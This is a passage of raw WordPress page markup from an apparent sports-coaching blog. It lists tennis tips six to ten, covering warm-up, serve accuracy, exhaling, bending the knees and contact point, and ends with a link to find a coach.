id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-42  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-43  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-ad8d5eeb747ba742591bcf970d6a1c64\">\n#top .av-special-heading.av-av_heading-ad8d5eeb747ba742591bcf970d6a1c64{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-ad8d5eeb747ba742591bcf970d6a1c64 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-ad8d5eeb747ba742591bcf970d6a1c64 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-ad8d5eeb747ba742591bcf970d6a1c64 av-special-heading-h3 blockquote modern-quote  avia-builder-el-44  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >6. Utilize the 5 min warm-up efficiently<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-2c351c5d37d1f1726ac5a46b6731fea8\">\n.avia-image-container.av-av_image-2c351c5d37d1f1726ac5a46b6731fea8 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-2c351c5d37d1f1726ac5a46b6731fea8 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-2c351c5d37d1f1726ac5a46b6731fea8 av-styling- avia-align-center  avia-builder-el-45  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4801 avia-img-lazy-loading-not-4801 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/warm-up.jpg\" alt='' title='warm up'  height=\"436\" width=\"620\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/warm-up.jpg 620w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/warm-up-300x211.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/warm-up-450x316.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/warm-up-128x90.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/warm-up-32x23.jpg 32w\" sizes=\"(max-width: 620px) 100vw, 620px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Try identifying your opponent\u2019s weakness during that 5 min warm-up by giving him different shots to hit and at different speeds and trajectories.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-47  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_8'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-48  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-49  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-50  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-aa59273fe2e948981cae3cc4edbf3530\">\n#top .av-special-heading.av-av_heading-aa59273fe2e948981cae3cc4edbf3530{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-aa59273fe2e948981cae3cc4edbf3530 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-aa59273fe2e948981cae3cc4edbf3530 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-aa59273fe2e948981cae3cc4edbf3530 av-special-heading-h3 blockquote modern-quote  avia-builder-el-51  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >7. Focus on your serve<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-518b64c387cf55f68d283485a160ac0b\">\n.avia-image-container.av-av_image-518b64c387cf55f68d283485a160ac0b img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-518b64c387cf55f68d283485a160ac0b .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-518b64c387cf55f68d283485a160ac0b av-styling- avia-align-center  avia-builder-el-52  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4796 avia-img-lazy-loading-not-4796 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve.jpg\" alt='' title='serve'  height=\"470\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve.jpg 800w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve-300x176.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve-768x451.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve-705x414.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve-450x264.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve-128x75.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serve-32x19.jpg 32w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>In tennis, accuracy is invariably more important than power. Amateurs should focus on accuracy, considering speed and spin as added bonuses.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-54  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_9'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-55  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-56  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-57  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-f053fc7f0a41c5205c34bf65d56dbbdf\">\n#top .av-special-heading.av-av_heading-f053fc7f0a41c5205c34bf65d56dbbdf{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-f053fc7f0a41c5205c34bf65d56dbbdf .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-f053fc7f0a41c5205c34bf65d56dbbdf .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-f053fc7f0a41c5205c34bf65d56dbbdf av-special-heading-h3 blockquote modern-quote  avia-builder-el-58  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >8. Exhaling Tension<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-6691d8e00b1e436c52fefaa741386989\">\n.avia-image-container.av-av_image-6691d8e00b1e436c52fefaa741386989 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-6691d8e00b1e436c52fefaa741386989 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-6691d8e00b1e436c52fefaa741386989 av-styling- avia-align-center  avia-builder-el-59  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4799 avia-img-lazy-loading-not-4799 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/th.jpg\" alt='' title='th'  height=\"394\" width=\"640\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/th.jpg 640w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/th-300x185.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/th-450x277.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/th-128x79.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/th-32x20.jpg 32w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Exhaling during a serve helps you release muscular tension and make you feel relaxed.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-61  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_10'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-62  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-63  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-64  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-fcde97547253c4ec3b4c55bc562f893c\">\n#top .av-special-heading.av-av_heading-fcde97547253c4ec3b4c55bc562f893c{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-fcde97547253c4ec3b4c55bc562f893c .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-fcde97547253c4ec3b4c55bc562f893c .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-fcde97547253c4ec3b4c55bc562f893c av-special-heading-h3 blockquote modern-quote  avia-builder-el-65  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >9. Bend your knee<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-775908c45c60227e772ad6e4a2da911d\">\n.avia-image-container.av-av_image-775908c45c60227e772ad6e4a2da911d img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-775908c45c60227e772ad6e4a2da911d .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-775908c45c60227e772ad6e4a2da911d av-styling- avia-align-center  avia-builder-el-66  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4827 avia-img-lazy-loading-not-4827 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/bend-knees-1.jpg\" alt='' title='bend knees'  height=\"254\" width=\"350\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/bend-knees-1.jpg 350w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/bend-knees-1-300x218.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/bend-knees-1-128x93.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/bend-knees-1-32x23.jpg 32w\" sizes=\"(max-width: 350px) 100vw, 350px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Bending your knees while attacking the ball provides increased balance as your center of gravity is lower. It enables you to\u00a0hit with increased power\u00a0and better\u00a0control.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-68  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_11'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-69  el_after_av_section  el_before_av_textblock  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-70  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-71  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-bfcdf4713acdd7de718ce639cc5caf27\">\n#top .av-special-heading.av-av_heading-bfcdf4713acdd7de718ce639cc5caf27{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-bfcdf4713acdd7de718ce639cc5caf27 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-bfcdf4713acdd7de718ce639cc5caf27 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-bfcdf4713acdd7de718ce639cc5caf27 av-special-heading-h3 blockquote modern-quote  avia-builder-el-72  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >10. Maintaining right contact point<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Contact point should always be in front of you to maintain power and balance.<\/p>\n<\/div><\/section><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-9a53d402332dee59e13676e9a7f5de4a\">\n.avia-image-container.av-av_image-9a53d402332dee59e13676e9a7f5de4a img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-9a53d402332dee59e13676e9a7f5de4a .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-9a53d402332dee59e13676e9a7f5de4a av-styling- avia-align-center  avia-builder-el-74  el_after_av_textblock  el_before_av_hr '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4837 avia-img-lazy-loading-not-4837 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/contact-point.jpg\" alt='' title='BNP Paribas Open'  height=\"427\" width=\"640\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/contact-point.jpg 640w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/contact-point-300x200.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/contact-point-450x300.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/contact-point-128x85.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/contact-point-32x21.jpg 32w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-75  el_after_av_image  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>All the best practicing these tips. Break some sweat on the court.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-77  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='after_section_11'  class='main_color av_default_container_wrap container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-0e8ce90a7e787e62985448aa903169f9\">\n#top .av_textblock_section.av-av_textblock-0e8ce90a7e787e62985448aa903169f9 .avia_textblock{\nfont-size:10px;\ncolor:#cccccc;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-0e8ce90a7e787e62985448aa903169f9 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\">Image courtesy: tenniswarehouse,tennis,webtennisdrills<\/p>\n<\/div><\/section>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-72d89bb5292d98e587d8c8fad1e56a47\">\n.avia-section.av-av_section-72d89bb5292d98e587d8c8fad1e56a47{\nbackground-color:#1c1ced;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_12'  class='avia-section av-av_section-72d89bb5292d98e587d8c8fad1e56a47 main_color avia-section-default avia-no-border-styling  avia-builder-el-79  el_after_av_textblock  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-ecaabcf27bbbab672d190bc22bc05065\">\n#top .av_textblock_section.av-av_textblock-ecaabcf27bbbab672d190bc22bc05065 .avia_textblock{\nfont-size:19px;\ncolor:#ffffff;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-ecaabcf27bbbab672d190bc22bc05065 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\"><a href=\"http:\/\/www.blog.spyn.co\/coaches?q=&amp;location=&amp;lat=&amp;lon=&amp;sport_name=Tennis\">Click here to find a coach nearby<\/a><\/p>\n<\/div><\/section>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4\">\n.avia-section.av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='comments'  class='avia-section av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4 main_color avia-section-default avia-no-border-styling  avia-builder-el-81  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4789'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-82  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-83  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-85  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 